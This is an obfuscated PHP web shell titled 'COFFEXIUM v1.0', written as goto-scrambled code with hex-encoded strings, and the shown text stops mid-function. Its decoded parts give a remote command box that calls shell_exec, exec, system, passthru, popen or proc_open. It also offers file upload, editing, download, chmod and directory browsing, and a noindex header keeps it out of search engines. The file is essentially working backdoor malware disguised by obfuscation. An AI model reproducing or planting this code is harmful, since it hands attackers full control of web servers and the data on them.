TQeVm: goto oiLmr; k9AbI: goto Bfv9m; goto muCGa; BcW1L: goto mns75; goto vW0bj; FlCH_: $Ha841 = "\125\x70\x6c\x6f\x61\x64\x20\146\x61\x69\x6c\x65\x64\x3a\40\x49\156\x76\x61\154\x69\144\40\146\x69\154\145\x6e\141\x6d\145"; goto laBPL; cEnYX: RZ3Os: goto vGfoZ; nE8Yf: goto eFxTr; goto bWG18; Ky7uH: goto zywpV; goto EY103; pueJR: aaKfR: goto JJWjy; lFm2x: goto W3ijV; goto g_w2_; Ac6dR: XiO0q: goto Jn5o1; u_CrG: goto E4mGl; goto tdGy5; mTcxG: dRKiE: goto auyZ2; y75lI: goto wah3B; goto LVxqm; kVk6u: YJM3H: goto eQ1yI; oID3P: goto c24oL; goto GWPPb; bTex8: $QebMo = array("\147\x6f\x74\x6f", "\163\x68\x6f\167", "\x6d\157\144\x69\146\x79", "\162\x65\x6e\x61\155\x65\137\x69\164\x65\x6d", "\x70\145\162\155\x73\x5f\151\x74\x65\155"); goto wm0_5; d0b2x: GEns4: goto a86RV; Ufq0U: goto V58Wz; goto ej8kD; DfA2m: DWUZj: goto rxDY3; uv3aZ: tiBUI: goto uSSQe; vEfAM: goto CLw7N; goto XSnQe; Qup4x: if (!isset($_SESSION["\x63\165\162\162\145\156\164\137\x64\x69\x72"]) || !@is_dir($_SESSION["\143\x75\x72\x72\x65\x6e\164\x5f\x64\151\162"]) || !q3fZn($_SESSION["\x63\165\x72\162\145\x6e\164\137\x64\x69\x72"])) { goto NB2A6; } goto fn_mI; QNgJD: goto Zdq_X; goto AOEmB; IqvO5: goto l9Hsp; goto Pxxyu; rwDV7: goto lDCk2; goto ZYKV5; uMnV3: W3ijV: goto H3llu; se_IO: goto zSy1v; goto ArAF5; DdF7a: a0YvC: goto hXVJb; ebu02: goto zMhN6; goto NgBjU; jho7I: goto vT0I7; goto wf7CC; BYERP: exit; goto KKd_6; rIEoh: FZ9VX: goto blgUv; ujRYI: goto HMkNd; goto RpqVI; cape9: cGd6v: goto oHeCg; BMZkT: v4dyO: goto G54rw; oPPOm: @ob_end_clean(); goto rwDV7; KAiwk: goto Rm7CP; goto fIifM; kXO1w: M8ZOb: goto mtK3Z; Kz6aN: abMlH: goto II7ws; ElyAK: goto XUZQs; goto YT3cc; yolRV: goto jW00M; goto UVeqi; RinNE: MkVGb: goto kQYLU; BZo4y: goto vB4YL; goto rm4MY; VQXNo: tUSh5: goto WfIP5; ncbSV: goto l0uIR; goto P_uJT; r7wjS: J107v: goto B3Nd_; Z3Fk8: header("\130\x2d\122\x6f\142\157\164\163\55\124\x61\x67\x3a\40\x6e\157\x69\156\x64\x65\x78\x2c\40\x6e\157\x66\x6f\x6c\154\157\167\54\x20\x6e\x6f\x61\162\143\150\x69\166\x65\x2c\x20\x6e\x6f\151\x6d\141\x67\x65\x69\x6e\144\x65\170"); goto XU9zy; oNwqZ: hQ2jj: goto cvRNx; ugixo: @unlink($_FILES["\x75\160\x6c\x6f\x61\144"]["\x74\155\x70\x5f\x6e\x61\x6d\x65"]); goto ES6_x; QZvxI: goto ZWPyM; goto PHcgh; hEm_Y: DZZTW: goto RiFzY; YSTUT: goto GLO2o; goto CHB53; NDcu0: goto xg35o; goto OaG4c; DuLIU: oK8qp: goto ajBLc; n3Gf8: goto Mtx1q; goto oQYQ7; I5MOT: f3dqu: goto N0_yC; rnYdD: goto dnPDf; goto B1FFA; O2Ctd: goto ZmfO0; goto CujH7; WPnfr: goto c0Hwj; goto YUr3X; uAht4: XUZQs: goto g1fyC; DkXDy: goto PQrE3; goto Fu5gx; cMJXq: echo "\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\40\74\151\156\160\165\164\40\x74\x79\160\x65\x3d\42\x74\x65\x78\x74\42\40\156\x61\155\x65\75\x22\x65\x78\x65\x63\x22\x20\160\x6c\141\143\x65\150\157\x6c\144\x65\162\75\42\x45\x6e\x74\x65\x72\40\143\x6f\155\x6d\141\x6e\x64\x2e\x2e\x2e\x22\x20\163\x74\171\x6c\x65\75\42\146\x6c\145\x78\72\40\x31\73\x22\x3e\xa\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x3c\x62\x75\x74\164\157\156\x20\143\x6c\141\x73\x73\75\x22\x62\164\156\x20\142\164\156\x2d\163\165\x63\143\x65\x73\x73\x22\x20\164\x79\x70\x65\x3d\42\x73\165\x62\155\151\x74\x22\x3e\x45\x78\145\x63\x75\164\x65\74\x2f\x62\x75\164\164\x6f\156\76\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\74\57\x66\157\162\x6d\x3e\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20"; goto PdH9z; B_lXp: $ChrVw = ($txf3z || $BlqM3) && !session_id(); goto O2Ctd; bSGAD: Mhogq: goto M1jnI; MAsUd: if ($ZU14D && !$ChrVw) { goto nvNmr; } goto XvlcO; JeCGm: goto f3vNh; goto l99ZO; vZYyA: ijaaF: goto csS4d; Oyxuk: goto r3r3Z; goto R2xIU; OQaWr: zyB6u: goto kHC_z; EUTB_: MsSR0: goto dfrWK; AHKKd: goto DEeMK; goto hsNii; ZGuqQ: if (!feof($WAN6O)) { goto EJob4; } goto Nodtk; Oh1DN: w9zfl: goto DSkc5; rk16Z: goto hoIYS; goto id36i; oFZ3s: header("\x58\x2d\130\123\x53\55\x50\x72\x6f\164\145\143\x74\x69\x6f\156\72\x20\61\x3b\40\155\157\x64\145\75\x62\x6c\x6f\143\153"); goto UuSw3; NZOZP: goto IIArs; goto VxQxj; XVqRj: lbRni: goto HIv1N; wfosc: T5QfD: goto b34j_; DNqEW: $UeVid = array("\163" . "\150" . "\x65" . "\x6c" . "\x6c" . "\x5f" . "\x65" . "\170" . "\145" . "\143", "\145" . "\170" . "\x65" . "\x63", "\x73" . "\171" . "\x73" . "\164" . "\x65" . "\155", "\160" . "\141" . "\163" . "\163" . "\164" . "\150" . "\x72" . "\165", "\x70" . "\157" . "\x70" . "\145" . "\x6e", "\x70" . "\162" . "\x6f" . "\143" . "\x5f" . "\157" . "\160" . "\145" . "\156"); goto PiCj5; pfZCr: goto iW89d; goto OCCa5; iDgt9: @chmod($QGkWO, 0644); goto oEhZv; qylRc: oAyjj: goto eH3Tu; Qj1dG: Q40hX: goto HaXvX; rRyR2: echo htmlentities($t2FtE); goto pRjOK; Xsk6S: function VjsdP($Qd9be) { goto ITtZ0; OZece: if ($Qd9be >= 1024) { goto W_paq; } goto aUmaH; lwp1j: clasU: goto dTv8L; p0xOd: ZPNMC: goto Vqhwu; YWU08: goto f5Nyi; goto QPW0z; AuPmt: r28T4: goto iMRMn; CNQ7K: dc7Ji: goto LHcnF; Wvpwl: bsskJ: goto P2aqn; lIhbV: goto r28T4; goto RypNt; RypNt: FLtpb: goto Y6JRN; dTv8L: return $Qd9be . "\40\x62\171\164\145\163"; goto J9IJi; kEVHw: goto bsskJ; goto PwVZf; LV_JZ: RySqC: goto lEyG7; ITtZ0: goto YB0Dt; goto dvF9J; uR6vP: Sozhb: goto tYhNp; BdwXB: S95rP: goto i6MQx; Tsup_: a6erm: goto lIhbV; iAtlZ: goto IK0va; goto Wvpwl; fSsps: goto S95rP; goto XQ_v3; Y36Zn: ZqQcP: goto RGDSe; kdJpg: return number_format($Qd9be / 1073741824, 2) . "\x20\x47\x42"; goto Zu_pQ; i6MQx: goto dZ4JN; goto cHfM2; ZWmA5: dnRZR: goto WYVSw; tYhNp: goto RySqC; goto CNQ7K; LHcnF: Lb7iS: goto kEVHw; ttJvy: goto a6erm; goto IPEuR; F56mv: A1RP1: goto kdJpg; sRU39: W_paq: goto WaTPR; IPEuR: IdSko: goto eogFo; P2aqn: if ($Qd9be >= 1048576) { goto ACakU; } goto fSsps; iMRMn: return "\60\40\x62\171\164\x65\163"; goto iAtlZ; cHfM2: j9X2D: goto uR6vP; wbx0C: goto j9X2D; goto OIhMq; QPW0z: r5HpZ: goto GRuzx; lEyG7: if ($Qd9be > 1) { goto ZqQcP; } goto F22Kc; PwVZf: Xqg13: goto v4i8K; F22Kc: goto ZPNMC; goto Y36Zn; dvF9J: sxLJG: goto BdwXB; ELvRl: goto sxLJG; goto vZxUi; GRuzx: return number_format($Qd9be / 1048576, 2) . "\x20\115\x42"; goto ELvRl; eogFo: goto lJjQb; goto vlPYF; v4i8K: return number_format($Qd9be / 1024, 2) . "\40\x4b\x42"; goto wbx0C; DRIzZ: IK0va: goto tgNu2; OIhMq: lJjQb: goto tDyWn; WaTPR: goto Xqg13; goto xXCXQ; tDyWn: return "\x31\x20\142\x79\164\x65"; goto YWU08; LF0q9: goto Lb7iS; goto ZWmA5; Vqhwu: goto FLtpb; goto lwp1j; Q9tZP: goto r5HpZ; goto nGhgN; Zu_pQ: goto dc7Ji; goto LV_JZ; J9IJi: goto I7Wnk; goto F56mv; xXCXQ: YB0Dt: goto RkO2q; Y6JRN: if ($Qd9be == 1) { goto IdSko; } goto ttJvy; XQ_v3: ACakU: goto Q9tZP; vZxUi: I7Wnk: goto p0xOd; WYVSw: goto A1RP1; goto DRIzZ; aUmaH: goto Sozhb; goto sRU39; nGhgN: f5Nyi: goto Tsup_; RkO2q: if ($Qd9be >= 1073741824) { goto dnRZR; } goto LF0q9; RGDSe: goto clasU; goto AuPmt; vlPYF: dZ4JN: goto OZece; tgNu2: } goto MX57Z; KcEjK: echo "\x20\x20\x20\40\x20\x20\x20\40\x3c\57\x64\151\166\76\xa\x20\40\40\x20"; goto CCnM4; TL2Fy: goto LPc3e; goto pueJR; xV4Ag: goto SXfZf; goto nlBi_; bQE5_: goto wAs0f; goto B_K0N; H6BgB: goto LAxs2; goto ld4j7; AFcxs: goto EOPYM; goto HjEnR; NgBjU: o16zf: goto G0PXO; q6cwX: LfkcF: goto HgbEs; kmGR9: goto XWo6o; goto mFV4U; dzoRT: FwinT: goto TxZZP; CQTZu: echo "\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x3c\x69\x6e\x70\165\164\40\164\171\160\145\75\x22\x68\151\144\144\x65\x6e\x22\x20\156\141\155\x65\x3d\x22\145\x64\151\x74\137\146\x69\x6c\145\x22\x20\166\x61\154\165\145\x3d\x22"; goto n3Gf8; lndq7: goto bK5M_; goto IKD_P; wFkmn: PNgsO: goto ihQZG; RD0pJ: goto ejG5h; goto mV94E; yZw0F: H4FK3: goto kIoI1; aNONL: riLXH: goto xlKRa; x8iQo: aDvAO: goto z2RDC; TFOeu: goto kC3kB; goto MFV_M; s5aLQ: goto N8eA2; goto cEnYX; LDDe8: AT8O8: goto hsdPT; RwNyr: wZMZG: goto ebNAa; IUAGT: goto wsxC4; goto e4tZ2; fNNiw: FxHSk: goto QnN0y; kIbw7: http_response_code(500); goto D6wmY; zamnz: foreach ($yQU7y as $R9z3N) { goto jC0TK; NmUlZ: mApOo: goto eG_V6; BoejA: pGZ_J: goto lLzGb; jC0TK: goto mApOo; goto M7sO9; tyc_O: goto wBM0z; goto BoejA; e5KJ7: wBM0z: goto wtHJm; eG_V6: if (isset($_POST[$R9z3N])) { goto TcPXR; } goto spOL2; eWT9s: TcPXR: goto EhUAi; spOL2: goto IdQPh; goto eWT9s; lLzGb: IdQPh: goto S3APj; NfOiy: goto eZvP3; goto NYKPv; M7sO9: g9Nkb: goto yuyo7; NYKPv: goto pGZ_J; goto NmUlZ; gcHld: goto NpcEJ; goto W90wy; EhUAi: goto g9Nkb; goto EtWjU; EtWjU: i0Kyj: goto hrPyc; hrPyc: wAEEF: goto tyc_O; S3APj: goto i0Kyj; goto e5KJ7; W90wy: NpcEJ: goto NfOiy; yuyo7: $uBM29 = true; goto gcHld; wtHJm: EFTyP: goto VGbhs; VGbhs: } goto SqHAZ; S4Whz: goto FFqgC; goto Ns1YM; O_cyy: goto aS41p; goto Je3PT; T9RRG: echo fread($SJmyq, 8192); goto jPlJy; TPxj_: bHBQJ: goto IvbiI; QIBJC: MDaOe: goto BY905; i9Wq5: jW00M: goto o4Ia3; MlKFS: header("\103\x61\143\150\x65\x2d\103\x6f\156\164\162\157\x6c\x3a\40\x6e\157\x2d\163\x74\157\x72\145\54\40\x6e\157\55\x63\x61\x63\x68\145\54\40\155\x75\163\164\55\x72\145\x76\141\x6c\x69\x64\x61\164\x65"); goto b85k7; FF0xS: HauHF: goto WVqGa; Z_bFl: RzOAZ: goto QsOaw; CJQ2_: DEeMK: goto udx3i; IPH3M: function v4Vi6() { goto jFw5e; VX_Pp: return $_SESSION["\137\x63\163\162\146\137\x74\157\153\145\156"]; goto Ij631; wdkf2: goto bINVA; goto Tss7s; Ij631: goto TnJj8; goto AlBet; JLBjd: QZhyq: goto nU4um; nU4um: bINVA: goto NvjkS; NvjkS: goto By7gE; goto XWOF4; jFw5e: goto xQRf2; goto hhwdn; rcn9A: goto QZhyq; goto JLBjd; YBmd6: $_SESSION["\137\x63\163\162\146\137\164\x6f\153\145\156"] = bin2hex(random_bytes(32)); goto rcn9A; wbxrC: TnJj8: goto Wt0iq; Tss7s: Y1ert: goto UV42D; AlBet: xQRf2: goto vVLpA; XWOF4: By7gE: goto VX_Pp; UV42D: goto G3KM4; goto wbxrC; vVLpA: if (empty($_SESSION["\137\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"])) { goto Y1ert; } goto wdkf2; hhwdn: G3KM4: goto YBmd6; Wt0iq: } goto OJObd; PPg9U: goto nepVL; goto XyAZ9; T_Hcy: goto P_zmF; goto du5sI; ySRj1: ni_qM: goto K2vk2; bAT30: goto c4yPt; goto nFNr_; fYvSB: dwg26: goto baewJ; Qbd0G: lEGxT: goto ceHDg; MLtEh: goto itmSj; goto UdhS3; XMaHv: qCQ3e: goto j3L8G; KrpmJ: IrKWn: goto Q9rGX; Er66G: goto xaOu9; goto gf4T_; sEoy3: if (!(@file_put_contents($jLwb5, $_POST["\143\x6f\156\x74\x65\156\x74"]) !== false)) { goto dwg26; } goto UE4N1; YX3Bd: g9QTo: goto KJNxL; oSuOO: f5Nyb: goto Zho8h; sC2EZ: goto oUerF; goto bJ_lk; A7xiZ: goto Xwuhe; goto J5iTG; z1LnF: Gle0K: goto PPg9U; UvwVO: oLX0j: goto gag8q; GwYdT: boUtJ: goto qxYID; MRYqn: N6Aoi: goto q7aZU; K0DmI: $Ha841 = "\105\144\151\x74\x20\x66\x61\x69\x6c\145\x64\x3a\40\106\151\154\x65\40\156\x6f\164\40\146\x6f\x75\x6e\144"; goto rAkFh; g0j3X: goto RJC56; goto RHbiC; qAhNm: goto Y2F2Y; goto st_UZ; oLTIp: goto VPnwF; goto Joqk9; kPT5M: hKNbF: goto ZLhy1; hUU6u: echo "\74\x21\x44\117\103\124\131\120\105\x20\x68\164\x6d\154\x3e\12\74\x68\x74\155\x6c\76\xa\x3c\150\145\141\144\76\xa\x20\x20\40\40\74\x6d\145\164\x61\40\143\x68\141\x72\x73\145\164\75\42\125\x54\x46\x2d\70\x22\x3e\12\40\40\x20\x20\74\155\x65\x74\141\40\x6e\x61\155\145\x3d\x22\166\x69\x65\167\x70\157\x72\x74\x22\x20\143\157\x6e\x74\x65\156\164\x3d\x22\167\151\144\164\150\x3d\x64\x65\x76\x69\143\x65\55\x77\151\x64\x74\x68\54\x20\x69\x6e\151\x74\151\x61\x6c\x2d\163\x63\x61\154\145\75\61\x2e\x30\x22\76\xa\x20\40\x20\x20\x3c\164\x69\x74\x6c\145\76\x43\117\106\106\x45\x58\x49\125\115\40\166\x31\x2e\60\74\x2f\164\x69\x74\x6c\145\x3e\xa\x20\40\40\40\x3c\x6d\145\x74\x61\40\x6e\x61\155\x65\x3d\42\143\x73\162\146\x2d\x74\x6f\153\145\x6e\42\40\x63\157\156\x74\145\x6e\164\75\42"; goto RcIBA; udx3i: goto uMUm0; goto u6wnq; HgLex: goto L4Y4H; goto t5s_4; W1NnY: jetIQ: goto ADkLB; MFV_M: xoVPi: goto xwD4a; KezrJ: goto IZLfY; goto lUM_8; Agzrl: Z2_Mp: goto fqtYS; IUFBT: Bz597: goto o5jFR; sJqqS: f3vNh: goto lFm2x; vKC8d: gpsT8: goto mTcxG; z4_ER: qgfKh: goto AA1W5; II7ws: uGc8W: goto DyTTr; wm0_5: goto lKYTH; goto xa7eP; JVNzP: goto jwb7j; goto pvqzL; DEtXz: BbL3l: goto GdbuV; K3yK2: define("\x44\x49\122\x45\103\x54\x4f\122\131\137\123\105\120\x41\122\101\x54\x4f\x52", strtoupper(substr(PHP_OS, 0, 3)) === "\x57\x49\x4e" ? "\134" : "\x2f"); goto UB2vt; vnLjH: goto oaP51; goto Vb7N1; RAtsi: oUerF: goto RSlDd; ZLhy1: if (!function_exists("\163\171\x73\137\147\145\164\x5f\164\145\x6d\x70\x5f\x64\x69\162")) { function sys_get_temp_dir() { goto am4z7; A0gKe: $ZX2Wk = realpath(dirname($FvUV4)); goto tAc8I; ORuVY: return "\x2f\x74\x6d\x70"; goto Fm0pq; dTMG7: N22KY: goto mBQGY; xJmtl: E1HBe: goto UEzFW; vzNEM: lX60m: goto h7HT4; LgEOG: goto SjWV_; goto yyQdY; Fovag: goto TZ2h5; goto Ivf9U; s193x: K08wH: goto vzNEM; Ivf9U: jwXnP: goto B8HS9; O4bbR: oJ6vs: goto vaSkG; hKZCJ: a7D5k: goto HHdCi; mnMKx: E4ZOM: goto aWlia; LqwYc: goto N22KY; goto YAZeA; yyQdY: XS5sO: goto A0gKe; a_hxn: Ickpr: goto ORuVY; WwIWg: W0Wjg: goto t80M1; lPGQI: j9Pl0: goto TwEC5; PThKy: goto lX60m; goto WwIWg; vaSkG: if (!empty($_ENV["\124\x4d\x50"])) { goto G1ZeD; } goto LqwYc; aqJ7V: goto K08wH; goto A6tZi; K8VI8: return realpath($_ENV["\x54\x4d\120\x44\x49\x52"]); goto aZgwH; TwEC5: if (!empty($_ENV["\x54\x4d\120\104\111\122"])) { goto BkWF7; } goto zeVcB; YAZeA: G1ZeD: goto zN9JB; Y__vF: goto E4ZOM; goto CxVJi; sIwVb: TDsxs: goto HMBY3; HuNPh: return realpath($_ENV["\124\x4d\120"]); goto Fovag; zN9JB: goto xlrrf; goto gX2fy; zKfux: goto OjAdJ; goto z2TpE; h7HT4: goto tqt6q; goto ASc4E; tGNS0: TZ2h5: goto dTMG7; t80M1: goto E1HBe; goto a_hxn; z2TpE: tqt6q: goto yrXWz; Fm0pq: goto pKYH2; goto s193x; pKtLM: goto Ickpr; goto fDVcs; iBes6: goto jwXnP; goto sIwVb; zeVcB: goto wa2kN; goto jHRCW; fDVcs: SjWV_: goto uWHf6; aWlia: ENAPK: goto pKtLM; mBQGY: goto j9Pl0; goto Z6TkD; ASc4E: pKYH2: goto hDD3o; aZgwH: goto h88mF; goto O4bbR; oNNss: goto ENAPK; goto hKZCJ; uWHf6: return $ZX2Wk; goto Y__vF; am4z7: goto oJ6vs; goto xJmtl; Z6TkD: ODwOj: goto m7PcV; B8HS9: if (!empty($_ENV["\124\x45\115\x50"])) { goto W0Wjg; } goto PThKy; gX2fy: h88mF: goto Ubl2U; yrXWz: $FvUV4 = @tempnam(uniqid(rand(), true), ''); goto qHhm7; tAc8I: goto TDsxs; goto lPGQI; Ubl2U: wa2kN: goto iBes6; jHRCW: BkWF7: goto zKfux; HHdCi: goto XS5sO; goto mnMKx; HMBY3: @unlink($FvUV4); goto LgEOG; m7PcV: if ($FvUV4) { goto a7D5k; } goto oNNss; CxVJi: xlrrf: goto HuNPh; UEzFW: return realpath($_ENV["\x54\105\115\120"]); goto aqJ7V; A6tZi: OjAdJ: goto K8VI8; qHhm7: goto ODwOj; goto tGNS0; hDD3o: } } goto kxjWL; y2DI4: Bl_J5: goto v0diL; o2_5X: WD_Jq: goto BuQ73; WVkWN: ifOj0: goto UBvQn; mcE78: goto x4gTh; goto CmSOJ; iKwUo: Cx8kz: goto F5RmB; csS4d: $_SESSION["\137\143\x72\x65\141\164\145\144"] = time(); goto c4Lb9; MgSH0: goto o6j9m; goto bS6AA; bxzxe: echo "\12\x20\40\x20\40"; goto xV4Ag; H_207: u1tYz: goto s5aLQ; shXwX: goto Mj8PM; goto gcduh; adWvv: goto i10xK; goto KWHVv; tp0Zw: goto ysKgU; goto nCTzE; mDuWD: mIpgM: goto viG2s; bzT98: NMO8C: goto S9XGk; Oin1R: goto c4dyt; goto fHHcR; M7YJq: goto Iczkf; goto UvwVO; Aa5mr: goto eJ5UP; goto NfBRI; VdZk5: ky0tK: goto Da_U3; nV0qT: if (!($Yvvjn === false)) { goto NbLjZ; } goto Upkeu; Vqq22: hsd7Y: goto CJQ2_; kP3lP: yKn2w: goto hEJiX; sYMkq: $Yvvjn = lcA48($_SESSION["\143\165\162\x72\145\x6e\164\137\x64\151\162"] . DIRECTORY_SEPARATOR . $_POST["\147\145\164\137\146\151\154\145"]); goto bjaKG; Smu3p: echo "\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\x3c\151\156\x70\x75\x74\x20\x74\x79\160\145\x3d\x22\x74\145\170\x74\x22\x20\156\141\x6d\145\75\42\155\153\x5f\x66\x69\154\145\42\40\160\154\141\143\145\x68\157\154\x64\x65\x72\75\x22\116\x65\167\40\146\151\x6c\x65\40\x6e\x61\x6d\x65\x2e\56\x2e\x22\x20\x73\x74\171\154\145\x3d\x22\146\154\145\170\72\x20\61\x3b\42\x3e\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\74\142\x75\x74\x74\157\x6e\40\x63\x6c\141\163\163\x3d\x22\142\164\156\40\142\164\156\x2d\x73\x75\x63\143\x65\163\x73\42\40\164\171\x70\x65\75\x22\x73\165\x62\155\151\x74\x22\x3e\x46\151\x6c\x65\x3c\x2f\x62\165\164\164\x6f\156\x3e\12\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\146\157\162\155\x3e\12\40\40\x20\x20\40\40\40\40\x20\40\40\40\40\40\40\40\x3c\146\x6f\x72\x6d\x20\x6d\x65\164\x68\157\144\75\x22\x70\157\x73\164\x22\40\x63\x6c\141\x73\x73\75\42\151\156\x70\x75\164\x2d\147\162\157\x75\160\42\76\12\x20\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\40"; goto iqgRI; oeR7W: Sui5f: goto Q7SK1; Bu7gY: goto GEns4; goto rA98W; qY7gU: nAQ75: goto bxzxe; rzooT: J3Ycm: goto Xgxll; lpxsf: D8vPw: goto ea1Ur; Y0Igu: goto HYpXX; goto RwD1u; pvqzL: J6z63: goto os_aS; InlHF: VsLXR: goto blM3A; qYkIn: bK5M_: goto FDkX0; fq0ws: goto SklXj; goto CcWoJ; Vb7N1: FFqgC: goto K1eM3; si0qL: HtIPL: goto lLOy7; HCQgK: goto LxAZw; goto BslxK; IFPFs: goto dRKiE; goto JeDvQ; xDG2i: goto orOPt; goto Tsrsu; sJ3xS: if ($XiDxq && !Flb95(XgTY0("\137\x63\163\x72\x66\x5f\164\x6f\153\x65\156", ''))) { goto sgjZu; } goto YRQBn; bS6AA: UwWLD: goto HZPv8; Q9rGX: list($GId_d, $ChNv3, $Qg52d) = $Ppot1; goto HCQgK; bLOe0: goto N6Nr0; goto wvEL7; d72rY: nZxaa: goto E1H5V; wpSFZ: XWo6o: goto w4B1R; sLT9R: if (!($Yvvjn === false)) { goto CtsIF; } goto dbbHu; q3ug5: goto cM1za; goto q4jtV; AOEmB: jZ0Ei: goto YZxjD; BNk_w: echo "\12\x20\x20\x20\40\74\144\x69\166\x20\143\154\x61\163\163\x3d\x22\143\x61\x72\x64\42\x20\163\164\x79\x6c\145\x3d\42\x6d\x61\x72\147\x69\x6e\x2d\x62\157\164\164\157\x6d\x3a\x20\62\60\x70\x78\73\x22\x3e\12\40\x20\x20\40\40\x20\40\40\74\x64\151\166\40\x63\154\141\163\x73\x3d\42\143\141\162\x64\55\150\x65\141\x64\x65\x72\42\76\12\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x3c\x73\x70\141\156\40\x63\154\141\163\x73\x3d\42\x63\x61\x72\144\x2d\x74\151\164\154\x65\42\76\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x3c\163\166\x67\x20\167\x69\144\164\x68\75\x22\61\66\42\40\x68\x65\x69\x67\150\x74\75\x22\61\66\42\x20\166\151\145\167\x42\157\x78\x3d\x22\x30\x20\x30\x20\x32\64\x20\x32\x34\42\x20\146\151\154\154\x3d\x22\156\x6f\x6e\145\42\x20\163\164\162\157\153\145\75\x22\x63\165\x72\162\x65\x6e\164\x43\x6f\x6c\157\x72\x22\40\x73\x74\162\157\x6b\x65\x2d\167\x69\144\x74\150\x3d\42\x32\42\x3e\74\x70\x61\x74\x68\40\x64\x3d\42\115\x32\62\40\x31\71\x61\x32\40\x32\x20\60\40\x30\x20\x31\55\x32\40\x32\x48\x34\x61\x32\40\62\x20\60\40\60\40\61\55\62\x2d\x32\x56\65\141\x32\x20\62\40\60\x20\60\40\61\40\x32\55\62\150\x35\154\62\x20\x33\150\71\x61\x32\40\x32\40\60\x20\60\40\61\x20\x32\x20\x32\172\42\x2f\x3e\74\x2f\163\x76\147\76\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x4e\141\166\x69\147\141\x74\145\12\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x3c\x2f\x73\x70\141\156\76\12\40\x20\40\40\x20\40\x20\40\74\x2f\144\x69\166\76\xa\40\x20\x20\x20\40\x20\x20\x20\74\144\151\x76\40\143\154\x61\x73\163\x3d\42\143\x61\162\144\55\x62\x6f\x64\171\x22\x3e\12\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\74\x66\x6f\162\x6d\x20\155\145\164\150\157\x64\75\x22\160\x6f\163\164\42\x20\143\x6c\141\163\x73\x3d\x22\151\156\x70\x75\x74\x2d\x67\x72\157\x75\160\42\x3e\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\40"; goto RnnKi; Udiop: YDd7M: goto Quq0Y; Zj_8H: BZ1ka: goto XNYvg; e_W08: xZioy: goto KORz8; eRZim: xoTg1: goto XaqRB; KxkZ4: goto xE64k; goto Q2jsl; FIsKv: goto uOdj2; goto V9zcL; SbeM8: itmSj: goto neiEF; UBvQn: if ($lYApr && $Kn7cQ !== null) { goto tF8f8; } goto koBA4; HbrBs: QxngS: goto iDgt9; acM0S: goto zRIVm; goto jHnBP; NrrgW: J5IJs: goto fSfQE; oHeCg: function xgtY0($R9kvr, $lvLEN = null) { return isset($_POST[$R9kvr]) ? $_POST[$R9kvr] : $lvLEN; } goto k9AbI; RVvYY: dnPDf: goto zscRp; vdJoC: if ($t2FtE !== null) { goto toNsk; } goto hD08o; M261j: if (!($qjc0Q > 0)) { goto Xr7Hw; } goto cUEi8; Q2yZ_: goto LlIAZ; goto RwNyr; gYUlG: goto aVAnU; goto qN9DH; Xwv_S: ar85N: goto K0DmI; Z8A3b: HYpXX: goto Qup4x; VJgeN: HrQUb: goto sU30V; FuTP7: bwqaM: goto hnVxB; RbQcs: rmYC8: goto Agi_Q; Os4SS: Ugv0M: goto W43Xg; tdsBZ: goto bHBQJ; goto rbUNJ; vm27R: if (trim($gGqEA) === '' || $gGqEA === "\103\x6f\155\155\x61\156\x64\40\145\170\145\x63\165\164\x69\157\156\40\x6e\157\164\x20\x61\166\141\x69\x6c\x61\x62\x6c\145") { goto Gg077; } goto j0tsd; VtmjN: goto Bz597; goto uMnV3; nOoMb: goto r5_RJ; goto yaxIL; M3Y5r: LZKf4: goto MkaWg; baewJ: goto BZ1ka; goto v0O41; SyKZ_: PO4y2: goto DtVcl; XyVwM: goto MDaOe; goto h1gF3; NvcX7: if (!function_exists("\x72\x61\156\144\x6f\x6d\x5f\x62\x79\x74\x65\163")) { function random_bytes($sxRFL) { goto aMLpO; MfTd1: fOjdy: goto ZVQNE; STvuI: axiX4: goto kSMWT; cTZoG: if ($Qd9be !== false && $Xw0B_) { goto ztlZY; } goto VTWK6; mcVlY: $Qd9be = ''; goto n1Emh; TPk6G: goto kALDy; goto k9BQJ; Le55r: goto WoY1i; goto nDGFy; iioxJ: ztlZY: goto FsON5; okF_b: S9J6N: goto PEieK; PNPB5: goto Orwy6; goto VsLNN; nDGFy: maNNl: goto oMkE3; kEaJ_: uMrAR: goto VY30J; kSMWT: $sxRFL = (int) $sxRFL; goto dt781; St18I: goto KK0M5; goto CkLKZ; AKBNk: MowBV: goto Sutb2; Uqj1B: fclose($tvl5k); goto wjOAO; oLLh8: goto xsUw2; goto w2IWB; nD6Ql: YLymv: goto MOqr6; n1Emh: goto SUoF1; goto eabPE; k3tiF: goto sIuJT; goto Jzl2B; mjpU8: goto dKD7X; goto Axi5Y; PPMt0: goto p7Gpt; goto ZMNLS; dt781: goto h70ih; goto kxzbC; rdox0: DN7YG: goto IohXi; KOvWN: V_iRp: goto gamuf; PqKD5: goto xc0hN; goto MfTd1; E3qY6: YzcnX: goto cTZoG; CkLKZ: SUoF1: goto Q6rCc; uW0rf: p7Gpt: goto JYFmF; uJurX: h70ih: goto soOmj; k9BQJ: n03IA: goto lVaKg; WaAX3: kALDy: goto xGVPJ; L3tA5: goto YzcnX; goto uJurX; WVGX_: pXov_: goto mcVlY; a_jJc: Orwy6: goto vykUW; PS1mg: WoY1i: goto E4xm7; Axi5Y: mX6gl: goto Y2Aiq; EXj2a: goto lVJPu; goto WaAX3; XVMDb: sAub1: goto TPk6G; Jzl2B: BRuIB: goto IVY7d; CDS3D: GcKAb: goto QchYd; J96TB: qzCDf: goto oLLh8; rDVdC: KK0M5: goto AuCat; E4xm7: if 